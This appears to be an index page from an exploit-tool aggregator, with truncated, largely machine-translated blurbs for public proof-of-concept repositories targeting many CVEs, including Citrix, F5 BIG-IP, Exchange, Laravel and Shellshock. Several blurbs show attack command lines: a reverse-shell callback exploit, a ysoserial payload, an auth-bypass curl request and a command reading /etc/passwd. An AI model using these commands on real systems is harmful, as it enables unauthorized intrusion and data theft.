CVE-2025-42944

CVE-2025-42944 SAP NetWeaver में एक डिसीरियलाइज़ेशन भेद्यता के कारण, एक अप्रमाणित हमलावर RMI-P4 मॉड्यूल के माध्यम से सिस्टम का शोषण कर सकता है, जब वह एक खुले पोर्ट पर दुर्भावनापूर्ण पेलोड सबमिट करता है। ऐसे अविश्वसनीय Java ऑब्जेक्ट्स का डिसीरियलाइज़ेशन मनमाने OS कमांड निष्पादन का कारण बन सकता है,...

CVE-2025-26055

CVE-2025-26055 CVE विवरण लेखक : Rohan Deshpande OS कमांड इंजेक्शन सारांश OS कमांड इंजेक्शन एक सुरक्षा भेद्यता है जो किसी हमलावर को किसी भेद्य एप्लिकेशन के माध्यम से होस्ट ऑपरेटिंग सिस्टम पर मनमाने कमांड निष्पादित करने की अनुमति देती है। इससे अनधिकृत पहुंच, डेटा उल्लंघन और सिस्टम से समझौता हो सकता...

CVE-2026-4480

एक्सप्लॉइट निष्पादित करें: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 : Palo Alto OS कमांड इंजेक्शन - अवधारणा का प्रमाण POC अस्वीकरण यह सुरक्षा इंजीनियरिंग और भेद्यता मूल्यांकन टीमों के लिए एक उपकरण है जो पर्यावरण में अपनी संपत्तियों पर भेद्यता के अस्तित्व को शीघ्रता से सत्यापित कर सके।...

CVE-2022-43110

CVE-2022-43110 अधिक जानकारी Voltronic Viewpower/Pro और रीब्रांड/व्युत्पन्न UPS प्रबंधन सॉफ़्टवेयर को केवल एक उचित रूप से प्रमाणित और अधिकृत एडमिन उपयोगकर्ता को वेब इंटरफ़ेस के माध्यम से सिस्टम को कॉन्फ़िगर करने की अनुमति देनी चाहिए। CWE-425: Direct Request 'Forced Browsing' के कारण, एक अनधिकृत,...

cve-2020-0688

cve-2020-0688 cve-2020-0688 एक उपयोगकर्ता के साथ लॉगिन करें जिसके पास एक ईमेल पता है, विशेषाधिकार कोई चिंता का विषय नहीं है। पेज स्रोत से VIEWSTATEGENERATOR प्राप्त करें viewstateuserkey मान के लिए ASP.NETSessionId कुकी का मान प्राप्त करें YSO यहाँ डाउनलोड करें root@kitploit: ysoserial.exe -p...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP फ़ाइल सर्वर HFS 2.3.x - दूरस्थ कमांड निष्पादन CVE-2014-6287 Pergyz 49584.py का पुनर्लेखन जो x64 PowerShell रिवर्स शेल लौटाता है उपयोग $ python3 hfs-2-3-exploit.py संकेत मिलने पर चर प्रदान करें, आपके लिए स्वचालित रूप से Netcat प्रारंभ करता है...

CVE-2019-19781

CVE-2019-19781 कैश के पीछे Citrix के लिए केवल एक python3 CVE-2019-19781 एक्सप्लॉइट। यह संस्करण '', '|', '2&1' ... आदि स्वीकार करता है। उपयोग python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd' कार्यसूची प्रतिक्रिया में Age हेडर होने पर दोहराएँ। निरंतर मोड -c। जाँच मोड Get...

CVE-2023-5044

CVE-2023-5044 nginx.ingress.kubernetes.io/permanent-redirect एनोटेशन के माध्यम से कोड इंजेक्शन सबसे पहले, आपको Pod और Service डिप्लॉय करने की आवश्यकता है: root@kitploit: kind: Pod apiVersion: v1 metadata: name: apple-app labels: app: apple spec: containers: - name: apple-app image:...

CVE-2020-14750

CVE-2020-14750 CVE-2020-14750 और cve-2020-14882 कमजोरियों के लिए PoC यह जाँचने के लिए कि कोई सिस्टम असुरक्षित है या नहीं, उपयोग करें: ./test-CVE-2020-14750 nombredelhost:7001 अभी, इस संस्करण में, यह केवल यह सुनिश्चित करता है कि होस्ट असुरक्षित है या नहीं; यदि परिणाम नकारात्मक है, तो यह गारंटी नही...

OFBiz-Attack

OFBiz-Attack Uma ferramenta para ataque CVE-2023-49070/CVE-2023-51467 Ambiente de Teste vulhub/ofbiz:18.12.09 Uso Iniciar root@kitploit: java -jar OFBiz-Attack.jar Há três módulos, que são: Detecção de vulnerabilidade Apenas insira a URL alvo, sem necessidade de adicionar rotas extras, caso...

CVE-2019-15107_detection

CVE-2019-15107detection Este script determina se um servidor está executando uma versão vulnerável do Webmin. Webmin =1.920 injeção de comando - CVE-2019-15107...

exploit-CVE-2014-6271

Shellshock exploit + vulnerable environment Shellshock, जिसे Bashdoor के नाम से भी जाना जाता है, व्यापक रूप से उपयोग किए जाने वाले Unix Bash शेल में सुरक्षा बगों का एक समूह है, जिसमें से पहला 24 सितंबर 2014 को सार्वजनिक किया गया था। कई इंटरनेट-मुखी सेवाएं, जैसे कि कुछ वेब सर्वर तैनातियाँ, Bash का...

CVE-2022-31499

CVE-2022-31499 शोषण शीर्षक: Nortek Linear eMerge E3-Series - अंध OS कमांड इंजेक्शन...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST भेद्यता CVE-2022-1388 उपयोग यह POC सत्यापित है! root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host: localhost' -H $'Connection: keep-alive, X-F5-Auth-Token' -H $'Authorization: Basic YWRtaW46' -H $'X-F5-Auth-Token: a' -H $'Content-Length: 39' \ --data-binary...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 1.1.0 - OS कमांड इंजेक्शन root@kitploit: Exploit Title: SDT-CW3B1 1.1.0 - OS Command Injection Vendor Homepage: http://telesquare.co.kr/ CVE : CVE-2021-46422 CVE Description: Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL अभिव्यक्ति इंजेक्शन कमांड निष्पादन CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL Code Injection CVE-2022-22947 उपयोग विधि: root@kitploit: -t http://vuldomain.com //एकल IP -f urls.txt //फ़ाइल पढ़कर बैच स्कैन, मल्टी-थ्रेडिंग, तेज़ गति -c command //कस्ट...

CVE-2021-31630-OpenPLC-3-Authenticated-RCE

CVE-2021-31630 OpenPLC 3 वेबसर्वर प्रमाणित रिमोट कोड निष्पादन। विवरण Open PLC Webserver v3 में कमांड इंजेक्शन की उपस्थिति दूरस्थ हमलावरों को एप्लिकेशन के "/hardware" पृष्ठ पर पाए जाने वाले "Hardware Layer Code Box" घटक का शोषण करके मनमाना कोड चलाने में सक्षम बनाती है। केवल hackthebox से...

CVE-2019-16113-Bludit-3.9.2-RCE

CVE-2019-16113 Bludit 3.9.2 रिमोट कमांड निष्पादन RCE...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 परीक्षण वातावरण root@kitploit: mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d उपयोग root@kitploit: git clone...